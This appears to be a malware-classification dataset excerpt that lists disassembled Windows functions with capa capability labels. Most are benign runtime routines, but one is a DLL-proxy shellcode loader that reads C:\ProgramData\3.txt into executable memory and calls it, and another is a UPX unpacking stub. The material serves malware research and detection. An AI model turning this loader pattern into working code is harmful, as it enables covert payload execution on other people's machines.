joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1004a27d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x100702d0]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x1004a2c3
cmp word [ebx], dx
jne 0x1004a2c3
or byte [eax + edi + 0x28], 4
jmp 0x1004a2c8
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x1004a42b
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x1004a40b
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x1004a309
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x1004a33f
cmp eax, edx
jae 0x1004a34d
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x1004a2e4
jmp 0x1004a42b
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1004a406
cmp dword [ebp - 0x18], 0
je 0x1004a406
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x100702d0]
test byte [eax + edi + 0x28], 0x48
je 0x1004a3dc
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x1004a3a0
mov word [esi], cx
jmp 0x1004a3d7
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x100702d0]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x100702d0]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x100702d0]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x1004a42b
pop eax
cmp word [ebp - 4], ax
jne 0x1004a3ec
cmp esi, ebx
jne 0x1004a3ec
mov word [esi], ax
jmp 0x1004a428
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.1004acb6
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x1004a42b
push 0xd
pop eax
jmp 0x1004a3e7
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x100702d0]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x1004a425
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x1004a42b
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1004de13
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1004deb0
push ebx
push esi
call fcn.1004dddc
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1004cbd8
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1004de5d
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1004deaf
push edi
push eax
call fcn.10046c12
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1004de7d
call fcn.100460df
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1004deae
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1004cbd8
add esp, 0x20
test eax, eax
jne 0x1004de9c
push edi
call fcn.100460df
jmp 0x1004dea4
push ebx
call fcn.100460df
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1005012d
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.100446cc
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1005019c
cmp esi, dword [ebp - 4]
je 0x10050197
cmp dword [ebp + 0xc], 0
je 0x10050197
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x10050174
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.1004fc7f
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x1005019e
xor eax, eax
inc eax
jmp 0x1005019e
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x10050203
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1006d200]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.100446cc
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.100446cc
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x1005027a
cmp word [ecx], dx
je 0x1005027a
mov eax, dword [0x100608bc]
push edi
dec eax
push eax
push 0x100607a8
call fcn.100501a2
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x100502ed
cmp word [eax], dx
je 0x100502ed
mov eax, dword [edi]
test eax, eax
je 0x1005029e
cmp word [eax], dx
je 0x1005029e
lea eax, [ebp - 0x10]
push eax
call fcn.1004fb85
jmp 0x100502a7
lea eax, [ebp - 0x10]
push eax
call fcn.1004fc20
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x10050317
mov eax, dword [0x100607a4]
push dword [ebp - 0x14]
dec eax
push eax
push 0x10060498
call fcn.100501a2
add esp, 0xc
test al, al
je 0x10050317
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x100502e2
cmp word [eax], di
je 0x100502e2
lea eax, [ebp - 0x10]
push eax
call fcn.1004fb85
pop ecx
jmp 0x10050319
lea eax, [ebp - 0x10]
push eax
call fcn.1004fc20
jmp 0x100502df
mov eax, dword [edi]
test eax, eax
je 0x10050304
cmp word [eax], dx
je 0x10050304
lea eax, [ebp - 0x10]
push eax
call fcn.1004fb3a
pop ecx
jmp 0x10050317
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x100503e2
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.10050027
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x100503e2
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x100503e2
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x100503e2
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x1005036f
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.10046733
test ebx, ebx
je 0x100503dd
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.10046733
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x100503e2
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x100503e2
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.10053ad4
add esp, 0x10
xor eax, eax
inc eax
jmp 0x100503e4
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100385a2
leave
ret
Function at 0x100542d1
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.1005424d
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x10054440
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x10054440
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x100543f5
jg 0x1005432d
test eax, eax
je 0x100543eb
push 1
push 0x1000
call fcn.10046082
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x10054350
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x100543e2
push 0x8000
push ebx
call fcn.1005417e
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x10054379
jg 0x10054374
cmp ecx, 0x1000
jb 0x10054379
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.10048e25
add esp, 0x10
cmp eax, 0xffffffff
je 0x100543be
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x10054374
jl 0x100543a5
test ecx, ecx
jne 0x10054366
push dword [ebp - 0xc]
push ebx
call fcn.1005417e
push esi
call fcn.100460df
add esp, 0xc
xor ebx, ebx
jmp 0x1005444e
cmp byte [edi + 0x24], 0
je 0x100543d5
cmp dword [edi + 0x20], 5
jne 0x100543d5
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x100543e0
mov ebx, dword [edi + 0x18]
jmp 0x100543e2
xor ebx, ebx
push esi
call fcn.100460df
pop ecx
jmp 0x1005444e
test ecx, ecx
jg 0x100543b7
jl 0x100543f5
test eax, eax
jae 0x100543b7
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.1004acb6
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x10054415
cmp byte [edi + 0x1c], 0
je 0x100543b7
jmp 0x10054446
push ebx
call fcn.100508e3
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x100543b7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1005444e
cmp byte [edi + 0x1c], 0
je 0x1005444b
mov ebx, dword [edi + 0x18]
jmp 0x1005444e
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.1004acb6
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10055ab0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10055add
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10055add
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x834790
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x38a000]
push edi
or ebp, 0xffffffff
jmp 0x8347b2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x8347b9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8347a8
mov eax, 1
add ebx, ebx
jne 0x8347cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x8347dc
jne 0x8347fb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8347fb
dec eax
add ebx, ebx
jne 0x8347e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x8347c0
add ebx, ebx
jne 0x8347f7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x83484d
xor ecx, ecx
sub eax, 3
jb 0x834813
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x834882
sar eax, 1
mov ebp, eax
jmp 0x83481e
add ebx, ebx
jne 0x83481e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8347ec
inc ecx
add ebx, ebx
jne 0x83482c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8347ec
add ebx, ebx
jne 0x834839
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x83482e
jne 0x83484a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x83482e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x83486c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x83485e
jmp 0x8347ae
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x83486c
add edi, ecx
jmp 0x8347ae
pop esi
mov edi, esi
mov ecx, 0x80d8
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x83488a
cmp byte [edi], 0x35
jne 0x83488a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x83488f
lea edi, [esi + 0x430000]
mov eax, dword [edi]
or eax, eax
je 0x8348fe
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x44dfac]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x44e0b0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x8348bc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x44e0b4]
or eax, eax
je 0x8348f8
mov dword [ebx], eax
add ebx, 4
jmp 0x8348d9
call dword [esi + 0x44e0c4]
mov ebp, dword [esi + 0x44e0b8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x834932
sub esp, 0xffffff80
jmp 0x561c5c
Function at 0x10001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x318
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.libcefOrg
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
mov dword [0x1001954c], ecx
test ecx, ecx
jne 0x10001192
push eax
push 0x80
push 3
push eax
push 1
push 0x80000000
push str.C:ProgramData3.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
cmp esi, 0xffffffff
jne 0x10001091
push 0x10013e7c
push 0x10013e84
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100027d8
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
jne 0x100010d0
push 0
push 0x10013e7c
push 0x10013e94
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100027d8
mov esp, ebp
pop ebp
ret
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
mov dword [ebp - 0x318], ebx
push 0
test ebx, ebx
jne 0x1000111a
push 0x10013e7c
push 0x10013ea8
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebx + 1]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100027d8
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x314]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100011aa
cmp dword [ebp - 0x314], edi
jne 0x100011aa
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 0x318]
call eax
popal
push 0x8000
push 0
push dword [ebp - 0x318]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x310]
push 0x10013ec8
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x310]
push 0x10
push str.AheadLib
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [0x1001954c]
xor eax, eax
test ecx, ecx
setne al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100027d8
mov esp, ebp
pop ebp
ret
push 0
push 0x10013e7c
push 0x10013eb8
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100027d8
mov esp, ebp
pop ebp
ret
Function at 0x100011f0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x1001954c]
push esi
mov esi, ecx
test eax, eax
jne 0x10001225
call fcn.10001000
test eax, eax
jne 0x10001220
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x1001954c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x10001272
mov eax, esi
lea ecx, [ebp - 0x14]
shr eax, 0x10
test eax, eax
lea eax, [ebp - 0x118]
cmovne ecx, esi
push ecx
push 0x10013ef4
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x118]
push 0x10
push str.AheadLib
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0xfffffffffffffffe
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.100027d8
mov esp, ebp
pop ebp
ret

Function at 0x10005c9b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10005cda
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10005cda
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10005cda
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10005cda
cmp dword [ecx + 0x74], 0xe
jbe 0x10005cda
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1000892e
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x100089cb
push ebx
push esi
call fcn.100088f7
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000888d
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10008978
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100089ca
push edi
push eax
call fcn.10009980
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10008998
call fcn.100073c0
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100089c9
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000888d
add esp, 0x20
test eax, eax
jne 0x100089b7
push edi
call fcn.100073c0
jmp 0x100089bf
push ebx
call fcn.100073c0
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x1000e9e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000ea0d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000ea0d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x403f90
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x403fa9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x403fe4
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x403fe0
lea ebx, [ebx]
cmp esi, eax
jae 0x403fe4
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x403fd0
cmp esi, eax
jb 0x403fea
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x409d40
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x537018
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x58a710]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
cmp dword [ebx + 0x84], 0
jne 0x409e61
call fcn.0041083a
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x409d8a
push 0x80004005
call fcn.00404b00
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [esp + 0xc], esi
mov dword [esp + 0x18], 0
mov eax, dword [esi - 8]
mov ecx, 1
sub ecx, dword [esi - 4]
sub eax, 0x104
or eax, ecx
jge 0x409dc8
push 0x104
lea ecx, [esp + 0x10]
call fcn.004047c0
mov esi, dword [esp + 0xc]
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov eax, dword [esi - 8]
push eax
push esi
call fcn.0050ebbb
add esp, 8
test eax, eax
jl 0x409e73
cmp eax, dword [esi - 8]
jg 0x409e73
xor ecx, ecx
mov dword [esi - 0xc], eax
push 0xd
mov word [esi + eax*2], cx
push 0x5646d8
lea ecx, [esp + 0x14]
call fcn.0040a4e0
mov edi, dword [esp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x409e36
push 0x6a
push esi
call dword [sym.imp.USER32.dll_LoadCursorW]
test eax, eax
je 0x409e36
push eax
call dword [sym.imp.USER32.dll_CopyIcon]
mov dword [ebx + 0x84], eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [edi - 0x10]
mov dword [esp + 0x18], 0xffffffff
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x409e61
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x10
ret
push 0x80070057
call fcn.00404b00
int3

Function at 0x409e80
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x210
mov eax, dword [0x58a710]
xor eax, esp
mov dword [esp + 0x20c], eax
mov eax, dword [esp + 0x214]
push esi
mov esi, dword [eax]
lea eax, [esp + 4]
push eax
lea ecx, [esp + 0xc]
push ecx
push 0
push esi
mov dword [esp + 0x14], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 8]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x210]
pop esi
xor ecx, esp
xor eax, eax
call fcn.0050e14c
add esp, 0x210
ret 4